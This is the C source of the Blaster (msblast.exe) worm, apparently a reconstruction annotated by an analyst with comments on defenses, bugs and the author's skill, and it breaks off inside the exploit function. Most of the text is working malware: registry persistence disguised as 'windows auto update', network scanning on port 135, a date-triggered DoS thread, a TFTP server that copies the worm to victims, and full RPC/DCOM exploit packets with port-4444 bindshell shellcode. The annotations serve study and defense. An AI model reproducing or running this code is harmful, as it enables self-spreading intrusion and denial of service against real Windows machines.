/*
 * A simple string to hold the current IP address
 */
char target_ip_string[16];

/*
 * A global variable to hold the socket for the TFTP service.
 */
int fd_tftp_service;

/* 
 * Global flag to indicate this thread is running. This
 * is set when the thread starts, then is cleared when
 * the thread is about to end.
 * This demonstrates that Buford isn't confident with
 * multi-threaded programming -- he should just check
 * the thread handle.
 */
int is_tftp_running;

/* 
*  When delivering the worm file to the victim, it gets the
 * name by querying itself using GetModuleFilename(). This
 * makes it easier to change the filename or to launch the
 * worm. */
char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;


ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);


/***************************************************************  
 * This is where the 'msblast.exe' program starts running
 ***************************************************************/
void main(int argc, char *argv[]) 
{ 
    WSADATA WSAData;     
    char myhostname[512]; 
    char daystring[3];
    char monthstring[3];     
    HKEY hKey;
    int ThreadId;
    register unsigned long scan_local=0;     

    /*
     * Create a registry key that will cause this worm
     * to run every time the system restarts.
     * DEFENSE: Slammer was "memory-resident" and could
     * be cleaned by simply rebooting the machine.
     * Cleaning this worm requires this registry entry
     * to be deleted.
     */
    RegCreateKeyEx(
        /*hKey*/        HKEY_LOCAL_MACHINE,  
        /*lpSubKey*/    "SOFTWARE\\Microsoft\\Windows\\"
                        "CurrentVersion\\Run",
        /*Reserved*/    0,
        /*lpClass*/     NULL,
        /*dwOptions*/   REG_OPTION_NON_VOLATILE,
        /*samDesired */ KEY_ALL_ACCESS,
        /*lpSecurityAttributes*/ NULL, 
        /*phkResult */  &hKey,
        /*lpdwDisposition */ 0);
    RegSetValueExA(
        hKey, 
        "windows auto update", 
        0, 
        REG_SZ,  
        MSBLAST_EXE,     
        50);
    RegCloseKey(hKey); 


    /*
     * Make sure this isn't a second infection. A common problem
     * with worms is that they sometimes re-infect the same
     * victim repeatedly, eventually crashing it. A crashed  
     * system cannot spread the worm. Therefore, worm writers
     * now make sure to prevent reinfections. The way Blaster
     * does this is by creating a system "global" object called
     * "BILLY". If another program in the computer has already
     * created "BILLY", then this instance won't run.
     * DEFENSE: this implies that you can remove Blaster by  
     * creating a mutex named "BILLY". When the computer     
     * restarts, Blaster will falsely believe that it has
     * already infected the system and will quit. 
     */
    CreateMutexA(NULL, TRUE, "BILLY"); 
    if (GetLastError() == ERROR_ALREADY_EXISTS)
        ExitProcess(0);  

    /*
     * Windows systems requires "WinSock" (the network API layer)
     * to be initialized. Note that the SYNflood attack requires
     * raw sockets to be initialized, which only works in
     * version 2.2 of WinSock.
     * BUFORD: The following initialization is needlessly
     * complicated, and is typical of programmers who are unsure
     * of their knowledge of sockets..
     */
    if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
        && WSAStartup(MAKEWORD(1,1), &WSAData) != 0
        && WSAStartup(1, &WSAData) != 0)
        return;

    /*
     * The worm needs to read itself from the disk when  
     * transferring to the victim. Rather than using a hard-coded
     * location, it discovered the location of itself dynamically
     * through this function call. This has the side effect of
     * making it easier to change the name of the worm, as well
     * as making it easier to launch it.
     */
   GetModuleFileNameA(NULL, msblast_filename,
                                    sizeof(msblast_filename)); 

   /*
    * When the worm infects a dialup machine, every time the user
    * restarts their machine, the worm's network communication
    * will cause annoying 'dial' popups for the user. This will
    * make them suspect their machine is infected.
    * The function call below makes sure that the worm only
    * starts running once the connection to the Internet
    * has been established and not before.
    * BUFORD: I think Buford tested out his code on a machine
    * and discovered this problem. Even though much of the
    * code indicates he didn't spend much time on
    * testing his worm, this line indicates that he did
    * at least a little bit of testing.
    */
    while (!InternetGetConnectedState(&ThreadId, 0))
        Sleep (20000); /*wait 20 seconds and try again */

    /*
     * Initialize the low-order byte of target IP address to 0.
     */
    ClassD = 0;

    /*
     * The worm must make decisions "randomly": each worm must
     * choose different systems to infect. In order to make
     * random choices, the programmer must "seed" the random
     * number generator. The typical way to do this is by
     * seeding it with the current timestamp.
     * BUFORD: Later in this code you'll find that Buford calls
     * 'srand()' many times to reseed. This is largely
     * unnecessary, and again indicates that Buford is not 
     * confident in his programming skills, so he constantly
     * reseeds the generator in order to make extra sure he
     * has gotten it right.
     */
    srand(GetTickCount()); 

    /*
     * This initializes the "local" network to some random
     * value. The code below will attempt to figure out what
     * the true local network is -- but just in case it fails,
     * the initialization fails, using random values makes sure
     * the worm won't do something stupid, such as scan the
     * network around 0.0.0.0
     */
    local_class_a = (rand() % 254)+1; 
    local_class_b = (rand() % 254)+1; 

    /*
     * This discovers the local IP address used currently by this
     * victim machine. Blaster randomly chooses to either infect
     * just the local ClassB network, or some other network,
     * therefore it needs to know the local network.
     * BUFORD: The worm writer uses a complex way to print out

     * the IP address into a string, then parse it back again
     * to a number. This demonstrates that Buford is fairly
     * new to C programming: he thinks in terms of the printed
     * representation of the IP address rather than in its
     * binary form.
     */
    if (gethostname(myhostname, sizeof(myhostname)) != -1) {
        HOSTENT *p_hostent = gethostbyname(myhostname);

        if (p_hostent != NULL && p_hostent->h_addr != NULL) {
            struct in_addr in; 
            const char *p_addr_item;

            memcpy(&in, p_hostent->h_addr, sizeof(in));
            sprintf(myhostname, "%s", inet_ntoa(in)); 
             
            p_addr_item = strtok(myhostname, ".");
            ClassA = atoi(p_addr_item);  
             
            p_addr_item = strtok(0, ".");
            ClassB = atoi(p_addr_item);
             
            p_addr_item = strtok(0, ".");
            ClassC = atoi(p_addr_item);
             
            if (ClassC > 20) { 
                /* When starting from victim's address range, 
                 * try to start a little bit behind. This is
                 * important because the scanning logic only
                 * move forward. */
                srand(GetTickCount()); 
                ClassC -= (rand() % 20);     
            } 
            local_class_a = ClassA;  
            local_class_b = ClassB;  
            scan_local = TRUE; 
        }
    }
   

    /*
     * This chooses whether Blaster will scan just the local
     * network (40% chance) or a random network (60% chance)
     */
    srand(GetTickCount()); 
    if ((rand() % 20) < 12)  
        scan_local = FALSE;

    /*
     * The known exploits require the hacker to indicate whether     
     * the victim is WinXP or Win2k. The worm has to guess. The
     * way it guesses is that it chooses randomly. 80% of the time
     * it will assume that all victims are WinXP, and 20% of the
     * time it will assume all victims are Win2k. This means that
     * propogation among Win2k machines will be slowed down by
     * the fact Win2k machines are getting DoSed faster than they
     * are getting exploited. 
     */
    winxp1_or_win2k2 = 1; 
    if ((rand()%10) > 7)     
        winxp1_or_win2k2 = 2; 
     
    /*
     * If not scanning locally, then choose a random IP address
     * to start with.
     * BUG: this worm choose bad ranges above 224. This will     
     * cause a bunch of unnecessary multicast traffic. Weird
     * multicast traffic has historically been an easy way of 
     * detecting worm activity.
     */
    if (!scan_local) { 
        ClassA = (rand() % 254)+1; 
        ClassB = (rand() % 254);     
        ClassC = (rand() % 254);     
    }


    /*
     * Check the date so that when in the certain range, it will     
     * trigger a DoS attack against Micosoft. The following
     * times will trigger the DoS attack:
     *  Aug 16 through Aug 31
     *  Spt 16 through Spt 30
     *  Oct 16 through Oct 31
     *  Nov 16 through Nov 30
     *  Dec 16 through Dec 31
     * This applies to all years, and is based on local time.
     * FAQ: The worm is based on "local", not "global" time.
     * That means the DoS attack will start from Japan,
     * then Asia, then Europe, then the United States as the
     * time moves across the globe.
     */
#define MYLANG      MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409  MAKELCID(MYLANG, SORT_DEFAULT)
    GetDateFormat(  LOCALE_409,  
                    0,       
                    NULL, /*localtime, not GMT*/     
                    "d",     
                    daystring, 
                    sizeof(daystring));  
    GetDateFormat(  LOCALE_409,  
                    0, 
                    NULL, /*localtime, not GMT*/     
                    "M",     
                    monthstring,     
                    sizeof(monthstring));
    if (atoi(daystring) > 15 && atoi(monthstring) > 8)
        CreateThread(NULL, 0, 
                    blaster_DoS_thread,  
                    0, 0, &ThreadId); 
     
    /*
     * As the final task of the program, go into worm mode
     * trying to infect systems.
     */
    for (;;)
        blaster_spreader();

    /*
     * It'll never reach this point, but in theory, you need a
     * WSACleanup() after a WSAStartup().

     */
    WSACleanup();
} 



/*
 * This will be called from CreateThread in the main worm body
 * right after it connects to port 4444. After the thread is     
 * started, it then sends the string "
 * tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
 * the IP address of the attacker).
 * Once it sends the string, it then waits for 20 seconds for the
 * TFTP server to end. If the TFTP server doesn't end, it calls
 * TerminateThread.
 */
DWORD WINAPI blaster_tftp_thread(LPVOID p)
{
    /*
     * This is the protocol format of a TFTP packet. This isn't
     * used in the code -- I just provide it here for reference
     */
    struct TFTP_Packet
    {
        short opcode;
        short block_id;
        char data[512];
    };

    char reqbuf[512];           /* request packet buffer */
    struct sockaddr_in server;  /* server-side port number */
    struct sockaddr_in client;  /* client IP address and port */
    int sizeof_client;          /* size of the client structure*/
    char rspbuf[512];           /* response packet */

    static int fd;              /* the socket for the server*/
    register FILE *fp;
    register block_id;
    register int block_size;

    /* Set a flag indicating this thread is running. The other 
     * thread will check this for 20 seconds to see if the TFTP
     * service is still alive. If this thread is still alive in
     * 20 seconds, it will be killed.
     */
    is_tftp_running = TRUE; /*1 == TRUE*/
     
    /* Create a server-socket to listen for UDP requests on */
    fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd == SOCKET_ERROR)
        goto closesocket_and_exit;

    /* Bind the socket to 69/udp */
    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(TFTP_PORT_69);    
    server.sin_addr.s_addr = 0;     /*TFTP server addr = */
    if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
        goto closesocket_and_exit;

    /* Receive a packet, any packet. The contents of the received
     * packet are ignored. This means, BTW, that a defensive     
     * "worm-kill" could send a packet from somewhere else. This
     * will cause the TFTP server to download the msblast.exe
     * file to the wrong location, preventing the victim from
     * doing the download. */
    sizeof_client = sizeof(client);
    if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,  
                (struct sockaddr*)&client, &sizeof_client) <= 0)
        goto closesocket_and_exit;

    /* The TFTP server will respond with many 512 byte blocks
     * until it has completely sent the file; each block must
     * have a unique ID, and each block must be acknowledged.
     * BUFORD: The worm ignores TFTP ACKs. This is probably why
     * the worm restarts the TFTP service rather than leaving it
     * enabled: it essentially flushes all the ACKs from the     
     * the incoming packet queue. If the ACKs aren't flushed,
     * the worm will incorrectly treat them as TFTP requests.
     */
    block_id = 0;

    /* Open this file. GetModuleFilename was used to figure out
     * this filename. */
    fp = fopen(msblast_filename, "rb");
    if (fp == NULL)
        goto closesocket_and_exit;

    /* Continue sending file fragments until none are left */
    for (;;) {
        block_id++;

        /* Build TFTP header */
#define TFTP_OPCODE_DATA 3
        *(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
        *(short*)(rspbuf+2)= htons((short)block_id);

        /* Read next block of data (about 12 blocks total need
         * to be read) */
        block_size = fread(rspbuf+4, 1, 512, fp);
         
        /* Increase the effective length to include the TFTP
         * head built above */
        block_size += 4;

        /* Send this block */
        if (sendto(fd, (char*)&rspbuf, block_size, 
            0, (struct sockaddr*)&client, sizeof_client) <= 0)
            break;

        /* Sleep for a bit.
         * The reason for this is because the worm doesn't care
         * about retransmits -- it therefore must send these     
         * packets slow enough so congestion doesn't drop them.
         * If it misses a packet, then it will DoS the victim
         * without actually infecting it. Worse: the intended
         * victim will continue to send packets, preventing the
         * worm from infecting new systems because the 
         * requests will misdirect TFTP. This design is very
         * bad, and is my bet as the biggest single factor
         * that slows down the worm. */
        Sleep(900);

        /* File transfer ends when the last block is read, which
         * will likely be smaller than a full-sized block*/
        if (block_size != sizeof(rspbuf)) {
            fclose(fp);
            fp = NULL;
            break;
        }
    } 

    if (fp != NULL)
        fclose(fp);

closesocket_and_exit:

    /* Notify that the thread has stopped, so that the waiting 
     * thread can continue on */
    is_tftp_running = FALSE;
    closesocket(fd);
    ExitThread(0);

    return 0;
}




/*
 * This function increments the IP address.  
 * BUFORD: This conversion from numbers, to strings, then back
 * to number is overly complicated. Experienced programmers
 * would simply store the number and increment it. This shows
 * that Buford does not have much experience work with
 * IP addresses.
 */
void blaster_increment_ip_address()
{
    for (;;) {
        if (ClassD <= 254) {
            ClassD++;
            return;
        }

        ClassD = 0;
        ClassC++;
        if (ClassC <= 254)
            return;
        ClassC = 0;
        ClassB++;
        if (ClassB <= 254)
            return;
        ClassB = 0;
        ClassA++;
        if (ClassA <= 254)
            continue;
        ClassA = 0;
        return;
    }
}


/*
 * This is called from the main() function in an
 * infinite loop. It scans the next 20 addresses,
 * then exits.
 */
void blaster_spreader()
{
    fd_set writefds;

    register int i;
    struct sockaddr_in sin;
    struct sockaddr_in peer;
    int sizeof_peer;
    int sockarray[20];
    int opt = 1;
    const char *victim_ip;

    /* Create the beginnings of a "socket-address" structure that
     * will be used repeatedly below on the 'connect()' call for
     * each socket. This structure specified port 135, which is
     * the port used for RPC/DCOM. */
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(MSRCP_PORT_135);

    /* Create an array of 20 socket descriptors */
    for (i=0; i<20; i++) {
        sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (sockarray[i] == -1)
            return;
        ioctlsocket(sockarray[i], FIONBIO , &opt);
    }

    /* Initiate a "non-blocking" connection on all 20 sockets
     * that were created above.
     * FAQ: Essentially, this means that the worm has 20     
     * "threads" -- even though they aren't true threads.
     */
    for (i=0; i<20; i++) {
        int ip;

        blaster_increment_ip_address();
        sprintf(target_ip_string, "%i.%i.%i.%i",     
                                ClassA, ClassB, ClassC, ClassD);

        ip = inet_addr(target_ip_string);
        if (ip == -1)
            return;
        sin.sin_addr.s_addr = ip;
        connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));
    }

    /* Wait 1.8-seconds for a connection.
     * BUG: this is often not enough, especially when a packet
     * is lost due to congestion. A small timeout actually makes
     * the worm slower than faster */
    Sleep(1800);

    /* Now test to see which of those 20 connections succeeded.
     * BUFORD: a more experienced programmer would have done
     * a single 'select()' across all sockets rather than
     * repeated calls for each socket. */
    for (i=0; i<20; i++) {
        struct timeval timeout;
        int nfds;

        timeout.tv_sec = 0;
        timeout.tv_usec = 0;
        nfds = 0;

        FD_ZERO(&writefds);
        FD_SET((unsigned)sockarray[i], &writefds);

        if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
            closesocket(sockarray[i]);
        } else {
            sizeof_peer = sizeof(peer);
            getpeername(sockarray[i],
                    (struct sockaddr*)&peer, &sizeof_peer);  
            victim_ip = inet_ntoa(peer.sin_addr);

            /* If connection succeeds, exploit the victim */
            blaster_exploit_target(sockarray[i], victim_ip);
            closesocket(sockarray[i]);
        }
    }

}

/*
 * This is where the victim is actually exploited. It is the same
 * exploit as created by xfocus and altered by HDMoore.
 * There are a couple of differences. The first is that the in
 * those older exploits, this function itself would create the
 * socket and connect, whereas in Blaster, the socket is already
 * connected to the victim via the scanning function above. The
 * second difference is that the packets/shellcode blocks are
 * declared as stack variables rather than as static globals.
 * Finally, whereas the older exploits give the hacker a     
 * "shell prompt", this one automates usage of the shell-prompt
 * to tell the victim to TFTP the worm down and run it.
 */
void blaster_exploit_target(int sock, const char *victim_ip)
{

/* These blocks of data are just the same ones copied from the
 * xfocus exploit prototype. Whereas the original exploit
 * declared these as "static" variables, Blaster declares
 * these as "stack" variables. This is because the xfocus
 * exploit altered them -- they must be reset back to their
 * original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};



unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};


unsigned char sc[]=
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x46\x00\x58\x00"

    "\xff\xff\xff\xff" /* return address */

    "\xcc\xe0\xfd\x7f" /* primary thread data block */
    "\xcc\xe0\xfd\x7f" /* primary thread data block */

    /* port 4444 bindshell */
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

   

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

    int ThreadId;
    int len;
